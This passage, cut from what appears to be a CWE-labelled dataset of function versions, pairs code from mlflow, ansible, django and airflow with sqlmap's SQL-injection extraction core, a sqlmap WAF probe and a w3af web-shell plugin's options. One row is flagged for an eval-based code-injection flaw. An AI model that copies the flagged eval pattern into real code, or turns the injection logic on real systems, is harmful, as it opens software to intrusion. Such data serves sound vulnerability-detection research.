            (""bb"", {""k"": ""V""}),
        ]:
            mlflow.create_experiment(name, tags=tags)

        # Search for experiments with name ""a""
        experiments = mlflow.search_experiments(filter_string=""name = 'a'"")
        assert_experiment_names_equal(experiments, [""a""])

        # Search for experiments with name starting with ""a""
        experiments = mlflow.search_experiments(filter_string=""name LIKE 'a%'"")
        assert_experiment_names_equal(experiments, [""ab"", ""a""])

        # Search for experiments with tag key ""k"" and value ending with ""v"" or ""V""
        experiments = mlflow.search_experiments(filter_string=""tags.k ILIKE '%v'"")
        assert_experiment_names_equal(experiments, [""bb"", ""ab""])

        # Search for experiments with name ending with ""b"" and tag {""k"": ""v""}
        experiments = mlflow.search_experiments(filter_string=""name LIKE '%b' AND tags.k = 'v'"")
        assert_experiment_names_equal(experiments, [""ab""])

        # Sort experiments by name in ascending order
        experiments = mlflow.search_experiments(order_by=[""name""])
        assert_experiment_names_equal(experiments, [""a"", ""ab"", ""b"", ""bb""])

        # Sort experiments by ID in descending order
        experiments = mlflow.search_experiments(order_by=[""experiment_id DESC""])
        assert_experiment_names_equal(experiments, [""bb"", ""ab"", ""b"", ""a""])
    """"""

    def pagination_wrapper_func(number_to_get, next_page_token):
        return MlflowClient().search_experiments(
            view_type=view_type,
            max_results=number_to_get,
            filter_string=filter_string,
            order_by=order_by,
            page_token=next_page_token,
        )

    return _paginate(
        pagination_wrapper_func,
        SEARCH_MAX_RESULTS_DEFAULT,
        max_results,
    )",CWE-703,mlflow/mlflow,80564db826e5a4ce9d1a18eee36d252b03e1ab6c,"def search_experiments(
    view_type: int = ViewType.ACTIVE_ONLY,
    max_results: Optional[int] = None,
    filter_string: Optional[str] = None,
    order_by: Optional[List[str]] = None,
) -> List[Experiment]:
    """"""
    Search for experiments that match the specified search query.

    :param view_type: One of enum values ``ACTIVE_ONLY``, ``DELETED_ONLY``, or ``ALL``
                      defined in :py:class:`mlflow.entities.ViewType`.
    :param max_results: If passed, specifies the maximum number of experiments desired. If not
                        passed, all experiments will be returned.
    :param filter_string:
        Filter query string (e.g., ``""name = 'my_experiment'""``), defaults to searching for all
        experiments. The following identifiers, comparators, and logical operators are supported.

        Identifiers
          - ``name``: Experiment name.
          - ``tags.<tag_key>``: Experiment tag. If ``tag_key`` contains
            spaces, it must be wrapped with backticks (e.g., ``""tags.`extra key`""``).

        Comparators
          - ``=``: Equal to.
          - ``!=``: Not equal to.
          - ``LIKE``: Case-sensitive pattern match.
          - ``ILIKE``: Case-insensitive sensitive pattern match.

        Logical operators
          - ``AND``: Combines two sub-queries and returns True if both of them are True.

    :param order_by:
        List of columns to order by. The ``order_by`` column can contain an optional ``DESC`` or
        ``ASC`` value (e.g., ``""name DESC""``). The default is ``ASC`` so ``""name""`` is equivalent to
        ``""name ASC""``. The following fields are supported.

            - ``name``: Experiment name.
            - ``experiment_id``: Experiment ID.

    :return: A list of :py:class:`Experiment <mlflow.entities.Experiment>` objects.

    .. code-block:: python
        :caption: Example

        import mlflow


        def assert_experiment_names_equal(experiments, expected_names):
            actual_names = [e.name for e in experiments if e.name != ""Default""]
            assert actual_names == expected_names, (actual_names, expected_names)


        mlflow.set_tracking_uri(""sqlite:///:memory:"")

        # Create experiments
        for name, tags in [
            (""a"", None),
            (""b"", None),
            (""ab"", {""k"": ""v""}),
            (""bb"", {""k"": ""V""}),
        ]:
            mlflow.create_experiment(name, tags=tags)

        # Search for experiments with name ""a""
        experiments = mlflow.search_experiments(filter_string=""name = 'a'"")
        assert_experiment_names_equal(experiments, [""a""])

        # Search for experiments with name starting with ""a""
        experiments = mlflow.search_experiments(filter_string=""name LIKE 'a%'"")
        assert_experiment_names_equal(experiments, [""ab"", ""a""])

        # Search for experiments with tag key ""k"" and value ending with ""v"" or ""V""
        experiments = mlflow.search_experiments(filter_string=""tags.k ILIKE '%v'"")
        assert_experiment_names_equal(experiments, [""bb"", ""ab""])

        # Search for experiments with name ending with ""b"" and tag {""k"": ""v""}
        experiments = mlflow.search_experiments(filter_string=""name LIKE '%b' AND tags.k = 'v'"")
        assert_experiment_names_equal(experiments, [""ab""])

        # Sort experiments by name in ascending order
        experiments = mlflow.search_experiments(order_by=[""name""])
        assert_experiment_names_equal(experiments, [""a"", ""ab"", ""b"", ""bb""])

        # Sort experiments by ID in descending order
        experiments = mlflow.search_experiments(order_by=[""experiment_id DESC""])
        assert_experiment_names_equal(experiments, [""bb"", ""ab"", ""b"", ""a""])
    """"""

    def pagination_wrapper_func(number_to_get, next_page_token):
        return MlflowClient().search_experiments(
            view_type=view_type,
            max_results=number_to_get,
            filter_string=filter_string,
            order_by=order_by,
            page_token=next_page_token,
        )

    return _paginate(
        pagination_wrapper_func,
        SEARCH_MAX_RESULTS_DEFAULT,
        max_results,
    )"
,UNKNOWN,UNKNOWN,lib/request/inject.py,1,"def getValue(expression, blind=True, union=True, error=True, time=True, fromUser=False, expected=None, batch=False, unpack=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None, dump=False, suppressOutput=None, expectingNone=False, safeCharEncode=True):
    """"""
    Called each time sqlmap inject a SQL query on the SQL injection
    affected parameter.
    """"""

    if conf.hexConvert:
        if not hasattr(queries[Backend.getIdentifiedDbms()], ""hex""):
            warnMsg = ""switch '--hex' is currently not supported on DBMS %s"" % Backend.getIdentifiedDbms()
            singleTimeWarnMessage(warnMsg)
            conf.hexConvert = False
        else:
            charsetType = CHARSET_TYPE.HEXADECIMAL

    kb.safeCharEncode = safeCharEncode
    kb.resumeValues = resumeValue

    for keyword in GET_VALUE_UPPERCASE_KEYWORDS:
        expression = re.sub(r""(?i)(\A|\(|\)|\s)%s(\Z|\(|\)|\s)"" % keyword, r""\g<1>%s\g<2>"" % keyword, expression)

    if suppressOutput is not None:
        pushValue(getCurrentThreadData().disableStdOut)
        getCurrentThreadData().disableStdOut = suppressOutput

    try:
        pushValue(conf.db)
        pushValue(conf.tbl)

        if expected == EXPECTED.BOOL:
            forgeCaseExpression = booleanExpression = expression

            if expression.startswith(""SELECT ""):
                booleanExpression = ""(%s)=%s"" % (booleanExpression, ""'1'"" if ""'1'"" in booleanExpression else ""1"")
            else:
                forgeCaseExpression = agent.forgeCaseStatement(expression)

        if conf.direct:
            value = direct(forgeCaseExpression if expected == EXPECTED.BOOL else expression)

        elif any(isTechniqueAvailable(_) for _ in getPublicTypeMembers(PAYLOAD.TECHNIQUE, onlyValues=True)):
            query = cleanQuery(expression)
            query = expandAsteriskForColumns(query)
            value = None
            found = False
            count = 0

            if query and not re.search(r""COUNT.*FROM.*\(.*DISTINCT"", query, re.I):
                query = query.replace(""DISTINCT "", """")

            if not conf.forceDns:
                if union and isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
                    kb.technique = PAYLOAD.TECHNIQUE.UNION
                    kb.forcePartialUnion = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector[8]
                    fallback = not expected and kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.ORIGINAL and not kb.forcePartialUnion

                    try:
                        value = _goUnion(forgeCaseExpression if expected == EXPECTED.BOOL else query, unpack, dump)
                    except SqlmapConnectionException:
                        if not fallback:
                            raise

                    count += 1
                    found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE

                    if not found and fallback:
                        warnMsg = ""something went wrong with full UNION ""
                        warnMsg += ""technique (could be because of ""
                        warnMsg += ""limitation on retrieved number of entries)""
                        if "" FROM "" in query.upper():
                            warnMsg += "". Falling back to partial UNION technique""
                            singleTimeWarnMessage(warnMsg)

                            try:
                                pushValue(kb.forcePartialUnion)
                                kb.forcePartialUnion = True
                                value = _goUnion(query, unpack, dump)
                                found = (value is not None) or (value is None and expectingNone)
                            finally:
                                kb.forcePartialUnion = popValue()
                        else:
                            singleTimeWarnMessage(warnMsg)

                if error and any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) and not found:
                    kb.technique = PAYLOAD.TECHNIQUE.ERROR if isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) else PAYLOAD.TECHNIQUE.QUERY
                    value = errorUse(forgeCaseExpression if expected == EXPECTED.BOOL else query, dump)
                    count += 1
                    found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE

                if found and conf.dnsDomain:
                    _ = """".join(filter(None, (key if isTechniqueAvailable(value) else None for key, value in {'E': PAYLOAD.TECHNIQUE.ERROR, 'Q': PAYLOAD.TECHNIQUE.QUERY, 'U': PAYLOAD.TECHNIQUE.UNION}.items())))
                    warnMsg = ""option '--dns-domain' will be ignored ""
                    warnMsg += ""as faster techniques are usable ""
                    warnMsg += ""(%s) "" % _
                    singleTimeWarnMessage(warnMsg)

            if blind and isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN) and not found:
                kb.technique = PAYLOAD.TECHNIQUE.BOOLEAN

                if expected == EXPECTED.BOOL:
                    value = _goBooleanProxy(booleanExpression)
                else:
                    value = _goInferenceProxy(query, fromUser, batch, unpack, charsetType, firstChar, lastChar, dump)

                count += 1
                found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE

            if time and (isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED)) and not found:
                match = re.search(r""\bFROM\b ([^ ]+).+ORDER BY ([^ ]+)"", expression)
                kb.responseTimeMode = ""%s|%s"" % (match.group(1), match.group(2)) if match else None

                if isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME):
                    kb.technique = PAYLOAD.TECHNIQUE.TIME
                else:
                    kb.technique = PAYLOAD.TECHNIQUE.STACKED

                if expected == EXPECTED.BOOL:
                    value = _goBooleanProxy(booleanExpression)
                else:
                    value = _goInferenceProxy(query, fromUser, batch, unpack, charsetType, firstChar, lastChar, dump)
        else:
            errMsg = ""none of the injection types identified can be ""
            errMsg += ""leveraged to retrieve queries output""
            raise SqlmapNotVulnerableException(errMsg)

    finally:
        kb.resumeValues = True
        kb.responseTimeMode = None

        conf.tbl = popValue()
        conf.db = popValue()

        if suppressOutput is not None:
            getCurrentThreadData().disableStdOut = popValue()

    kb.safeCharEncode = False

    if not any((kb.testMode, conf.dummy, conf.offline)) and value is None and Backend.getDbms() and conf.dbmsHandler and not conf.noCast and not conf.hexConvert:
        warnMsg = ""in case of continuous data retrieval problems you are advised to try ""
        warnMsg += ""a switch '--no-cast' ""
        warnMsg += ""or switch '--hex'"" if Backend.getIdentifiedDbms() not in (DBMS.ACCESS, DBMS.FIREBIRD) else """"
        singleTimeWarnMessage(warnMsg)

    # Dirty patch (safe-encoded unicode characters)
    if isinstance(value, unicode) and ""\\x"" in value:
        try:
            candidate = eval(repr(value).replace(""\\\\x"", ""\\x"").replace(""u'"", ""'"", 1)).decode(conf.encoding or UNICODE_ENCODING)
            if ""\\x"" not in candidate:
                value = candidate
        except:
            pass

    return extractExpectedValue(value, expected)","CWE-94, CWE-703",sqlmapproject/sqlmap,5eb9f5729c3341cc0e6edcd0eed1bca5728ba6af,"def getValue(expression, blind=True, union=True, error=True, time=True, fromUser=False, expected=None, batch=False, unpack=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None, dump=False, suppressOutput=None, expectingNone=False, safeCharEncode=True):
    """"""
    Called each time sqlmap inject a SQL query on the SQL injection
    affected parameter.
    """"""

    if conf.hexConvert:
        charsetType = CHARSET_TYPE.HEXADECIMAL

    kb.safeCharEncode = safeCharEncode
    kb.resumeValues = resumeValue

    for keyword in GET_VALUE_UPPERCASE_KEYWORDS:
        expression = re.sub(r""(?i)(\A|\(|\)|\s)%s(\Z|\(|\)|\s)"" % keyword, r""\g<1>%s\g<2>"" % keyword, expression)

    if suppressOutput is not None:
        pushValue(getCurrentThreadData().disableStdOut)
        getCurrentThreadData().disableStdOut = suppressOutput

    try:
        pushValue(conf.db)
        pushValue(conf.tbl)

        if expected == EXPECTED.BOOL:
            forgeCaseExpression = booleanExpression = expression

            if expression.startswith(""SELECT ""):
                booleanExpression = ""(%s)=%s"" % (booleanExpression, ""'1'"" if ""'1'"" in booleanExpression else ""1"")
            else:
                forgeCaseExpression = agent.forgeCaseStatement(expression)

        if conf.direct:
            value = direct(forgeCaseExpression if expected == EXPECTED.BOOL else expression)

        elif any(isTechniqueAvailable(_) for _ in getPublicTypeMembers(PAYLOAD.TECHNIQUE, onlyValues=True)):
            query = cleanQuery(expression)
            query = expandAsteriskForColumns(query)
            value = None
            found = False
            count = 0

            if query and not re.search(r""COUNT.*FROM.*\(.*DISTINCT"", query, re.I):
                query = query.replace(""DISTINCT "", """")

            if not conf.forceDns:
                if union and isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
                    kb.technique = PAYLOAD.TECHNIQUE.UNION
                    kb.forcePartialUnion = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector[8]
                    fallback = not expected and kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.ORIGINAL and not kb.forcePartialUnion

                    try:
                        value = _goUnion(forgeCaseExpression if expected == EXPECTED.BOOL else query, unpack, dump)
                    except SqlmapConnectionException:
                        if not fallback:
                            raise

                    count += 1
                    found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE

                    if not found and fallback:
                        warnMsg = ""something went wrong with full UNION ""
                        warnMsg += ""technique (could be because of ""
                        warnMsg += ""limitation on retrieved number of entries)""
                        if "" FROM "" in query.upper():
                            warnMsg += "". Falling back to partial UNION technique""
                            singleTimeWarnMessage(warnMsg)

                            try:
                                pushValue(kb.forcePartialUnion)
                                kb.forcePartialUnion = True
                                value = _goUnion(query, unpack, dump)
                                found = (value is not None) or (value is None and expectingNone)
                            finally:
                                kb.forcePartialUnion = popValue()
                        else:
                            singleTimeWarnMessage(warnMsg)

                if error and any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) and not found:
                    kb.technique = PAYLOAD.TECHNIQUE.ERROR if isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) else PAYLOAD.TECHNIQUE.QUERY
                    value = errorUse(forgeCaseExpression if expected == EXPECTED.BOOL else query, dump)
                    count += 1
                    found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE

                if found and conf.dnsDomain:
                    _ = """".join(filter(None, (key if isTechniqueAvailable(value) else None for key, value in {'E': PAYLOAD.TECHNIQUE.ERROR, 'Q': PAYLOAD.TECHNIQUE.QUERY, 'U': PAYLOAD.TECHNIQUE.UNION}.items())))
                    warnMsg = ""option '--dns-domain' will be ignored ""
                    warnMsg += ""as faster techniques are usable ""
                    warnMsg += ""(%s) "" % _
                    singleTimeWarnMessage(warnMsg)

            if blind and isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN) and not found:
                kb.technique = PAYLOAD.TECHNIQUE.BOOLEAN

                if expected == EXPECTED.BOOL:
                    value = _goBooleanProxy(booleanExpression)
                else:
                    value = _goInferenceProxy(query, fromUser, batch, unpack, charsetType, firstChar, lastChar, dump)

                count += 1
                found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE

            if time and (isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED)) and not found:
                match = re.search(r""\bFROM\b ([^ ]+).+ORDER BY ([^ ]+)"", expression)
                kb.responseTimeMode = ""%s|%s"" % (match.group(1), match.group(2)) if match else None

                if isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME):
                    kb.technique = PAYLOAD.TECHNIQUE.TIME
                else:
                    kb.technique = PAYLOAD.TECHNIQUE.STACKED

                if expected == EXPECTED.BOOL:
                    value = _goBooleanProxy(booleanExpression)
                else:
                    value = _goInferenceProxy(query, fromUser, batch, unpack, charsetType, firstChar, lastChar, dump)
        else:
            errMsg = ""none of the injection types identified can be ""
            errMsg += ""leveraged to retrieve queries output""
            raise SqlmapNotVulnerableException(errMsg)

    finally:
        kb.resumeValues = True
        kb.responseTimeMode = None

        conf.tbl = popValue()
        conf.db = popValue()

        if suppressOutput is not None:
            getCurrentThreadData().disableStdOut = popValue()

    kb.safeCharEncode = False

    if not any((kb.testMode, conf.dummy, conf.offline)) and value is None and Backend.getDbms() and conf.dbmsHandler and not conf.noCast and not conf.hexConvert:
        warnMsg = ""in case of continuous data retrieval problems you are advised to try ""
        warnMsg += ""a switch '--no-cast' ""
        warnMsg += ""or switch '--hex'"" if Backend.getIdentifiedDbms() not in (DBMS.ACCESS, DBMS.FIREBIRD) else """"
        singleTimeWarnMessage(warnMsg)

    # Dirty patch (safe-encoded unicode characters)
    if isinstance(value, unicode) and ""\\x"" in value:
        try:
            candidate = eval(repr(value).replace(""\\\\x"", ""\\x"").replace(""u'"", ""'"", 1)).decode(conf.encoding or UNICODE_ENCODING)
            if ""\\x"" not in candidate:
                value = candidate
        except:
            pass

    return extractExpectedValue(value, expected)"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/modules/network/nxos/nxos_aaa_server_host.py,0,"def main():
    argument_spec = dict(
        server_type=dict(choices=['radius', 'tacacs'], required=True),
        address=dict(type='str', required=True),
        key=dict(type='str'),
        encrypt_type=dict(type='str', choices=['0', '7']),
        host_timeout=dict(type='str'),
        auth_port=dict(type='str'),
        acct_port=dict(type='str'),
        tacacs_port=dict(type='str'),
        state=dict(choices=['absent', 'present'], default='present'),
    )

    argument_spec.update(nxos_argument_spec)

    module = AnsibleModule(argument_spec=argument_spec,
                           supports_check_mode=True)

    warnings = list()
    check_args(module, warnings)

    server_type = module.params['server_type']
    address = module.params['address']
    key = module.params['key']
    encrypt_type = module.params['encrypt_type']
    host_timeout = module.params['host_timeout']
    auth_port = module.params['auth_port']
    acct_port = module.params['acct_port']
    tacacs_port = module.params['tacacs_port']
    state = module.params['state']

    args = dict(server_type=server_type, address=address, key=key,
                encrypt_type=encrypt_type, host_timeout=host_timeout,
                auth_port=auth_port, acct_port=acct_port,
                tacacs_port=tacacs_port)

    proposed = dict((k, v) for k, v in args.items() if v is not None)
    changed = False

    if encrypt_type and not key:
        module.fail_json(msg='encrypt_type must be used with key')

    if tacacs_port and server_type != 'tacacs':
        module.fail_json(
            msg='tacacs_port can only be used with server_type=tacacs')

    if (auth_port or acct_port) and server_type != 'radius':
        module.fail_json(msg='auth_port and acct_port can only be used'
                             'when server_type=radius')

    existing = get_aaa_host_info(module, server_type, address)
    end_state = existing

    commands = []
    if state == 'present':
        host_timeout = proposed.get('host_timeout')
        if host_timeout:
            try:
                if int(host_timeout) < 1 or int(host_timeout) > 60:
                    raise ValueError
            except ValueError:
                module.fail_json(
                    msg='host_timeout must be an integer between 1 and 60')

        delta = dict(
            set(proposed.items()).difference(existing.items()))
        if delta:
            union = existing.copy()
            union.update(delta)
            command = config_aaa_host(server_type, address, union)
            if command:
                commands.append(command)

    elif state == 'absent':
        intersect = dict(
            set(proposed.items()).intersection(existing.items()))
        if intersect.get('address') and intersect.get('server_type'):
            command = 'no {0}-server host {1}'.format(
                intersect.get('server_type'), intersect.get('address'))
            commands.append(command)

    cmds = flatten_list(commands)
    if cmds:
        if module.check_mode:
            module.exit_json(changed=True, commands=cmds)
        else:
            changed = True
            load_config(module, cmds)
            end_state = get_aaa_host_info(module, server_type, address)

    results = {}
    results['proposed'] = proposed
    results['existing'] = existing
    results['updates'] = cmds
    results['changed'] = changed
    results['warnings'] = warnings
    results['end_state'] = end_state

    module.exit_json(**results)",,ansible/ansible,c57a7f05e1b37084110d2b1bc219b40fc9023ffa,"def main():
    argument_spec = dict(
        server_type=dict(choices=['radius', 'tacacs'], required=True),
        address=dict(type='str', required=True),
        key=dict(type='str'),
        encrypt_type=dict(type='str', choices=['0', '7']),
        host_timeout=dict(type='str'),
        auth_port=dict(type='str'),
        acct_port=dict(type='str'),
        tacacs_port=dict(type='str'),
        state=dict(choices=['absent', 'present'], default='present'),
    )

    argument_spec.update(nxos_argument_spec)

    module = AnsibleModule(argument_spec=argument_spec,
                                supports_check_mode=True)

    warnings = list()
    check_args(module, warnings)


    server_type = module.params['server_type']
    address = module.params['address']
    key = module.params['key']
    encrypt_type = module.params['encrypt_type']
    host_timeout = module.params['host_timeout']
    auth_port = module.params['auth_port']
    acct_port = module.params['acct_port']
    tacacs_port = module.params['tacacs_port']
    state = module.params['state']

    args = dict(server_type=server_type, address=address, key=key,
                encrypt_type=encrypt_type, host_timeout=host_timeout,
                auth_port=auth_port, acct_port=acct_port,
                tacacs_port=tacacs_port)

    proposed = dict((k, v) for k, v in args.items() if v is not None)
    changed = False

    if encrypt_type and not key:
        module.fail_json(msg='encrypt_type must be used with key')

    if tacacs_port and server_type != 'tacacs':
        module.fail_json(
            msg='tacacs_port can only be used with server_type=tacacs')

    if (auth_port or acct_port) and server_type != 'radius':
        module.fail_json(msg='auth_port and acct_port can only be used'
                             'when server_type=radius')


    existing = get_aaa_host_info(module, server_type, address)
    end_state = existing

    commands = []
    if state == 'present':
        host_timeout = proposed.get('host_timeout')
        if host_timeout:
            try:
                if int(host_timeout) < 1 or int(host_timeout) > 60:
                    raise ValueError
            except ValueError:
                module.fail_json(
                    msg='host_timeout must be an integer between 1 and 60')

        delta = dict(
            set(proposed.items()).difference(existing.items()))
        if delta:
            union = existing.copy()
            union.update(delta)
            command = config_aaa_host(server_type, address, union)
            if command:
                commands.append(command)

    elif state == 'absent':
        intersect = dict(
            set(proposed.items()).intersection(existing.items()))
        if intersect.get('address') and intersect.get('server_type'):
            command = 'no {0}-server host {1}'.format(
                intersect.get('server_type'), intersect.get('address'))
            commands.append(command)

    cmds = flatten_list(commands)
    if cmds:
        if module.check_mode:
            module.exit_json(changed=True, commands=cmds)
        else:
            changed = True
            load_config(module, cmds)
            end_state = get_aaa_host_info(module, server_type, address)

    results = {}
    results['proposed'] = proposed
    results['existing'] = existing
    results['updates'] = cmds
    results['changed'] = changed
    results['warnings'] = warnings
    results['end_state'] = end_state

    module.exit_json(**results)"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,waf/cloudbric.py,0,"def detect(get_page):
    retval = False

    for vector in WAF_ATTACK_VECTORS:
        page, headers, code = get_page(get=vector)
        retval |= (code or 0) >= 400 and all(_ in (page or """") for _ in (""Cloudbric"", ""Malicious Code Detected""))
        if retval:
            break

    return retval",,sqlmapproject/sqlmap,285482b396468cab9a611f73160ea603340c1574,"def detect(get_page):
    retval = False

    for vector in WAF_ATTACK_VECTORS:
        page, headers, code = get_page(get=vector)
        retval |= code >= 400 and all(_ in (page or """") for _ in (""Cloudbric"", ""Malicious Code Detected""))
        if retval:
            break

    return retval"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/attack/mysqlWebShell.py,0,"def getOptionsXML(self):
        '''
        This method returns a XML containing the Options that the plugin has.
        Using this XML the framework will build a window, a menu, or some other input method to retrieve
        the info from the user. The XML has to validate against the xml schema file located at :
        w3af/core/ui/userInterface.dtd
        
        @return: XML with the plugin options.
        ''' 
        return  '<?xml version=""1.0"" encoding=""ISO-8859-1""?>\
        <OptionList>\
            <Option name=""url"">\
                <default></default>\
                <desc>URL to exploit with fastExploit()</desc>\
                <type>string</type>\
            </Option>\
            <Option name=""method"">\
                <default>'+self._method+'</default>\
                <desc>Method to use with fastExploit()</desc>\
                <type>string</type>\
            </Option>\
            <Option name=""injvar"">\
                <default></default>\
                <desc>The variable name where to inject.</desc>\
                <type>string</type>\
            </Option>\
            <Option name=""data"">\
                <default></default>\
                <desc>The data, like: \'f00=bar\'</desc>\
                <type>string</type>\
            </Option>\
            <Option name=""changeToPost"">\
                <default>'+str(self._changeToPost)+'</default>\
                <desc>If the vulnerability was found in a GET request, try to change the method to POST during exploitation.</desc>\
                <help>If the vulnerability was found in a GET request, try to change the method to POST during exploitation; this is usefull for not being logged in the webserver logs.</help>\
                <type>boolean</type>\
            </Option>\
            <Option name=""equAlgorithm"">\
                <default>'+str(self._equAlgorithm)+'</default>\
                <desc>The algorithm to use in the comparison of true and false response for blind sql.</desc>\
                <help>The options are: ""stringEq"", ""setIntersection"" and ""intelligentCut"" . Read the user documentation for details.</help>\
                <type>string</type>\
                <tabid>Blind SQL Options</tabid>\
            </Option>\
            <Option name=""equalLimit"">\
                <default>'+str(self._equalLimit)+'</default>\
                <desc>Set the equal limit variable</desc>\
                <help>Two pages are equal if they match in more than equalLimit. Only used when equAlgorithm is set to setIntersection.</help>\
                <type>float</type>\
                <tabid>Blind SQL Options</tabid>\
            </Option>\
        </OptionList>\
        '",,andresriancho/w3af,dd7c43138cd45ac244aff72e380653180eff028a,"def getOptionsXML(self):
        '''
        This method returns a XML containing the Options that the plugin has.
        Using this XML the framework will build a window, a menu, or some other input method to retrieve
        the info from the user. The XML has to validate against the xml schema file located at :
        w3af/core/ui/userInterface.dtd
        
        @return: XML with the plugin options.
        ''' 
        return  '<?xml version=""1.0"" encoding=""ISO-8859-1""?>\
        <OptionList>\
            <Option name=""url"">\
                <default></default>\
                <desc>URL to exploit with fastExploit()</desc>\
                <type>string</type>\
            </Option>\
            <Option name=""method"">\
                <default>'+self._method+'</default>\
                <desc>Method to use with fastExploit()</desc>\
                <type>string</type>\
            </Option>\
            <Option name=""injvar"">\
                <default></default>\
                <desc>The variable name where to inject.</desc>\
                <type>string</type>\
            </Option>\
            <Option name=""data"">\
                <default></default>\
                <desc>The data, like: \'f00=bar\'</desc>\
                <type>string</type>\
            </Option>\
            <Option name=""changeToPost"">\
                <default>'+str(self._changeToPost)+'</default>\
                <desc>If the vulnerability was found in a GET request, try to change the method to POST during exploitation.</desc>\
                <help>If the vulnerability was found in a GET request, try to change the method to POST during exploitation; this is usefull for not being logged in the webserver logs.</help>\
                <type>boolean</type>\
            </Option>\
            <Option name=""equAlgorithm"">\
                <default>'+self._equAlgorithm+'</default>\
                <desc>The algorithm to use in the comparison of true and false response for blind sql.</desc>\
                <help>The options are: ""stringEq"", ""setIntersection"" and ""intelligentCut"" . Read the user documentation for details.</help>\
                <type>string</type>\
                <tabid>Blind SQL Options</tabid>\
            </Option>\
            <Option name=""equalLimit"">\
                <default>'+self._equalLimit+'</default>\
                <desc>Set the equal limit variable</desc>\
                <help>Two pages are equal if they match in more than equalLimit. Only used when equAlgorithm is set to setIntersection.</help>\
                <type>float</type>\
                <tabid>Blind SQL Options</tabid>\
            </Option>\
        </OptionList>\
        '"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/regressiontests/utils/module_loading.py,0,"def test_loader(self):
        ""Normal module existence can be tested""
        test_module = import_module('regressiontests.utils.test_module')

        # An importable child
        self.assertTrue(module_has_submodule(test_module, 'good_module'))
        mod = import_module('regressiontests.utils.test_module.good_module')
        self.assertEqual(mod.content, 'Good Module')

        # A child that exists, but will generate an import error if loaded
        self.assertTrue(module_has_submodule(test_module, 'bad_module'))
        self.assertRaises(ImportError, import_module, 'regressiontests.utils.test_module.bad_module')

        # A child that doesn't exist
        self.assertFalse(module_has_submodule(test_module, 'no_such_module'))
        self.assertRaises(ImportError, import_module, 'regressiontests.utils.test_module.no_such_module')

        # Don't be confused by caching of import misses
        import types  # causes attempted import of regressiontests.utils.types
        self.assertFalse(module_has_submodule(sys.modules['regressiontests.utils'], 'types'))",CWE-Unknown,django/django,7e83c3b91f46458c6b2243b21ac144499bec47cf,"def test_loader(self):
        ""Normal module existence can be tested""
        test_module = import_module('regressiontests.utils.test_module')

        # An importable child
        self.assertTrue(module_has_submodule(test_module, 'good_module'))
        mod = import_module('regressiontests.utils.test_module.good_module')
        self.assertEqual(mod.content, 'Good Module')

        # A child that exists, but will generate an import error if loaded
        self.assertTrue(module_has_submodule(test_module, 'bad_module'))
        self.assertRaises(ImportError, import_module, 'regressiontests.utils.test_module.bad_module')

        # A child that doesn't exist
        self.assertFalse(module_has_submodule(test_module, 'no_such_module'))
        self.assertRaises(ImportError, import_module, 'regressiontests.utils.test_module.no_such_module')"
,UNKNOWN,UNKNOWN,tests/dag_processing/test_processor.py,1,"def test_execute_on_failure_callbacks_without_dag(self, mock_ti_handle_failure, has_serialized_dag):
        dagbag = DagBag(dag_folder=""/dev/null"", include_examples=True, read_dags_from_db=False)
        with create_session() as session:
            session.query(TaskInstance).delete()
            dag = dagbag.get_dag(""example_branch_operator"")
            assert dag is not None
            dag.sync_to_db()
            dagrun = dag.create_dagrun(
                state=DagRunState.RUNNING,
                logical_date=DEFAULT_DATE,
                run_type=DagRunType.SCHEDULED,
                data_interval=dag.infer_automated_data_interval(DEFAULT_DATE),
                triggered_by=DagRunTriggeredByType.TEST,
                session=session,
            )
            task = dag.get_task(task_id=""run_this_first"")
            ti = TaskInstance(task, run_id=dagrun.run_id, state=TaskInstanceState.QUEUED)
            session.add(ti)

            if has_serialized_dag:
                assert SerializedDagModel.write_dag(dag, bundle_name=""testing"", session=session) is True
                session.flush()

        requests = [TaskCallbackRequest(full_filepath=""A"", ti=ti, msg=""Message"")]
        self._process_file(dag.fileloc, requests)
        mock_ti_handle_failure.assert_called_once_with(
            error=""Message"", test_mode=conf.getboolean(""core"", ""unit_test_mode""), session=session
        )",CWE-703,apache/airflow,577985821e4e3c8cfbc2797feb19cc32fe2aaac0,"def test_execute_on_failure_callbacks_without_dag(self, mock_ti_handle_failure, has_serialized_dag):
        dagbag = DagBag(dag_folder=""/dev/null"", include_examples=True, read_dags_from_db=False)
        with create_session() as session:
            session.query(TaskInstance).delete()
            dag = dagbag.get_dag(""example_branch_operator"")
            assert dag is not None
            dag.sync_to_db()
            dagrun = dag.create_dagrun(
                state=DagRunState.RUNNING,
